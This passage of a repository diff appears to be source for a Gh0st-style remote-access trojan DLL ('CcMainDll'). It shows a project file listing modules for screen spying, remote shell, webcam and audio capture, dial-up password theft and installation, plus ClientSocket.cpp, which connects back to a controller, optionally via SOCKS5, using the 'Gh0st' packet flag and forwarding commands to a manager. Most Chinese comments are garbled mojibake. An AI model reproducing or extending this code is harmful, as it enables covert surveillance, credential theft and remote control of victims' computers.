<ClCompile Include="common\SystemManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\AudioManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Dialupass.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenSpy.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoCap.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\install.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KernelManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Manager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
11
CcMainDll/CcMainDll/CcMainDll.vcxproj.user
Normal file
11
CcMainDll/CcMainDll/CcMainDll.vcxproj.user
Normal file
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LocalDebuggerCommand> ..\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
533
CcMainDll/CcMainDll/ClientSocket.cpp
Normal file
533
CcMainDll/CcMainDll/ClientSocket.cpp
Normal file
@@ -0,0 +1,533 @@
|
||||
// ClientSocket.cpp: implementation of the CClientSocket class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "ClientSocket.h"
|
||||
#include "../../common/zlib/zlib.h"
|
||||
#include <process.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "common/Manager.h"
|
||||
#include "common/until.h"
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
int CClientSocket::m_nProxyType = PROXY_NONE;
|
||||
char CClientSocket::m_strProxyHost[256] = { 0 };
|
||||
UINT CClientSocket::m_nProxyPort = 1080;
|
||||
char CClientSocket::m_strUserName[256] = { 0 };
|
||||
char CClientSocket::m_strPassWord[256] = { 0 };
|
||||
|
||||
CClientSocket::CClientSocket()
|
||||
{
|
||||
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
m_hEvent = CreateEvent(NULL, true, false, NULL);
|
||||
m_bIsRunning = false;
|
||||
m_Socket = INVALID_SOCKET;
|
||||
// Packet Flag;
|
||||
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||
}
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CClientSocket::~CClientSocket()
|
||||
{
|
||||
m_bIsRunning = false;
|
||||
WaitForSingleObject(m_hWorkerThread, INFINITE);
|
||||
|
||||
if (m_Socket != INVALID_SOCKET)
|
||||
Disconnect();
|
||||
|
||||
CloseHandle(m_hWorkerThread);
|
||||
CloseHandle(m_hEvent);
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
||||
{
|
||||
// һ<><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD>£<EFBFBD><C2A3><EFBFBD>Ȼsocket<65><74><EFBFBD>ľ<EFBFBD>ϵͳ<CFB5><CDB3>Դ
|
||||
Disconnect();
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
ResetEvent(m_hEvent);
|
||||
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
|
||||
return false;
|
||||
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
if (m_Socket == SOCKET_ERROR)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
hostent* pHostent = NULL;
|
||||
if (m_nProxyType != PROXY_NONE)
|
||||
pHostent = gethostbyname(m_strProxyHost);
|
||||
else
|
||||
pHostent = gethostbyname(lpszHost);
|
||||
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ
|
||||
sockaddr_in ClientAddr;
|
||||
ClientAddr.sin_family = AF_INET;
|
||||
if (m_nProxyType != PROXY_NONE)
|
||||
ClientAddr.sin_port = htons(m_nProxyPort);
|
||||
else
|
||||
ClientAddr.sin_port = htons(nPort);
|
||||
|
||||
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
|
||||
|
||||
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
||||
return false;
|
||||
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
||||
// const char chOpt = 1;
|
||||
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
||||
|
||||
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
|
||||
const char chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
{
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl
|
||||
(
|
||||
m_Socket,
|
||||
SIO_KEEPALIVE_VALS,
|
||||
&klive,
|
||||
sizeof(tcp_keepalive),
|
||||
NULL,
|
||||
0,
|
||||
(unsigned long *)&chOpt,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
m_bIsRunning = true;
|
||||
//---<2D><><EFBFBD>ӳɹ<D3B3><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ת<><D7AA>WorkThread
|
||||
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
||||
{
|
||||
struct timeval tvSelect_Time_Out;
|
||||
tvSelect_Time_Out.tv_sec = 3;
|
||||
tvSelect_Time_Out.tv_usec = 0;
|
||||
fd_set fdRead;
|
||||
int nRet = SOCKET_ERROR;
|
||||
|
||||
char buff[600];
|
||||
struct socks5req1 m_proxyreq1;
|
||||
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
|
||||
m_proxyreq1.nMethods = 2;
|
||||
m_proxyreq1.Methods[0] = 0;
|
||||
m_proxyreq1.Methods[1] = 2;
|
||||
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
|
||||
struct socks5ans1 *m_proxyans1;
|
||||
m_proxyans1 = (struct socks5ans1 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
||||
{
|
||||
int nUserLen = strlen(m_strUserName);
|
||||
int nPassLen = strlen(m_strPassWord);
|
||||
struct authreq m_authreq;
|
||||
memset(&m_authreq, 0, sizeof(m_authreq));
|
||||
m_authreq.Ver = PROXY_SOCKS_VER5;
|
||||
m_authreq.Ulen = nUserLen;
|
||||
lstrcpy(m_authreq.NamePass, m_strUserName);
|
||||
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
|
||||
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
|
||||
|
||||
int len = 3 + nUserLen + nPassLen;
|
||||
|
||||
send(m_Socket, (char *)&m_authreq, len, 0);
|
||||
|
||||
struct authans *m_authans;
|
||||
m_authans = (struct authans *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_authans->Ver != 5 || m_authans->Status != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
hostent* pHostent = gethostbyname(lpszHost);
|
||||
if (pHostent == NULL)
|
||||
return false;
|
||||
|
||||
struct socks5req2 m_proxyreq2;
|
||||
m_proxyreq2.Ver = 5;
|
||||
m_proxyreq2.Cmd = 1;
|
||||
m_proxyreq2.Rsv = 0;
|
||||
m_proxyreq2.Atyp = 1;
|
||||
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
|
||||
m_proxyreq2.Port = ntohs(nPort);
|
||||
|
||||
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
||||
struct socks5ans2 *m_proxyans2;
|
||||
m_proxyans2 = (struct socks5ans2 *)buff;
|
||||
memset(buff, 0, sizeof(buff));
|
||||
|
||||
FD_ZERO(&fdRead);
|
||||
FD_SET(m_Socket, &fdRead);
|
||||
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
|
||||
|
||||
if (nRet <= 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
recv(m_Socket, buff, sizeof(buff), 0);
|
||||
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
||||
{
|
||||
closesocket(m_Socket);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
|
||||
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
||||
{
|
||||
CClientSocket *pThis = (CClientSocket *)lparam;
|
||||
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
|
||||
fd_set fdSocket;
|
||||
FD_ZERO(&fdSocket);
|
||||
FD_SET(pThis->m_Socket, &fdSocket);
|
||||
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><D0A3>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
|
||||
{
|
||||
fd_set fdRead = fdSocket;
|
||||
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nRet == SOCKET_ERROR)
|
||||
{
|
||||
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
if (nRet > 0)
|
||||
{
|
||||
memset(buff, 0, sizeof(buff));
|
||||
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nSize <= 0)
|
||||
{
|
||||
pThis->Disconnect();//---<2D><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---<2D><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD> OnRead<61><64><EFBFBD><EFBFBD> ת<><D7AA>OnRead
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
void CClientSocket::run_event_loop()
|
||||
{
|
||||
WaitForSingleObject(m_hEvent, INFINITE);
|
||||
}
|
||||
|
||||
bool CClientSocket::IsRunning()
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (dwIoSize == 0)
|
||||
{
|
||||
Disconnect(); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return;
|
||||
}
|
||||
//---<2D><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
|
||||
{
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
|
||||
return;
|
||||
}
|
||||
// Add the message to out message
|
||||
// Dont forget there could be a partial, 1, 1 or more + partial mesages
|
||||
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
|
||||
|
||||
|
||||
// Check real Data
|
||||
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
|
||||
{
|
||||
BYTE bPacketFlag[FLAG_SIZE];
|
||||
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
|
||||
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
|
||||
throw "bad buffer";
|
||||
|
||||
int nSize = 0;
|
||||
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
|
||||
{
|
||||
int nUnCompressLength = 0;
|
||||
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// Read off header
|
||||
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
|
||||
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
|
||||
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
|
||||
////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////
|
||||
// SO you would process your data here
|
||||
//
|
||||
// I'm just going to post message so we can see the data
|
||||
int nCompressLength = nSize - HDR_SIZE;
|
||||
PBYTE pData = new BYTE[nCompressLength];
|
||||
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
|
||||
|
||||
if (pData == NULL || pDeCompressionData == NULL)
|
||||
throw "bad Allocate";
|
||||
|
||||
m_CompressionBuffer.Read(pData, nCompressLength);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
|
||||
unsigned long destLen = nUnCompressLength;
|
||||
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
if (nRet == Z_OK)//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
{
|
||||
m_DeCompressionBuffer.ClearBuffer();
|
||||
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
|
||||
//<2F><><EFBFBD><EFBFBD> m_pManager->OnReceive<76><65><EFBFBD><EFBFBD> ת<><D7AA>m_pManager <20><><EFBFBD><EFBFBD>
|
||||
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
|
||||
}
|
||||
else
|
||||
throw "bad buffer";
|
||||
|
||||
delete[] pData;
|
||||
delete[] pDeCompressionData;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
m_CompressionBuffer.ClearBuffer();
|
||||
Send(NULL, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CClientSocket::Disconnect()
|
||||
{
|
||||
// If we're supposed to abort the connection, set the linger value
|
||||
// on the socket to 0.
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
|
||||
LINGER lingerStruct;
|
||||
lingerStruct.l_onoff = 1;
|
||||
lingerStruct.l_linger = 0;
|
||||
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
setsockopt(
|
||||
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
|
||||
int option_name, // option_nameָ<65><D6B8><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
|
||||
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
|
||||
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65>ṹ<EFBFBD><E1B9B9>
|
||||
struct linger {
|
||||
int l_onoff;
|
||||
int l_linger;
|
||||
};
|
||||
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
|
||||
const void *option_value, //LINGER<45>ṹ
|
||||
size_t ption_len //LINGER<45><52>С
|
||||
);
|
||||
*/
|
||||
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
|
||||
|
||||
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CancelIo((HANDLE)m_Socket);
|
||||
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
|
||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||
closesocket(m_Socket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||
SetEvent(m_hEvent);
|
||||
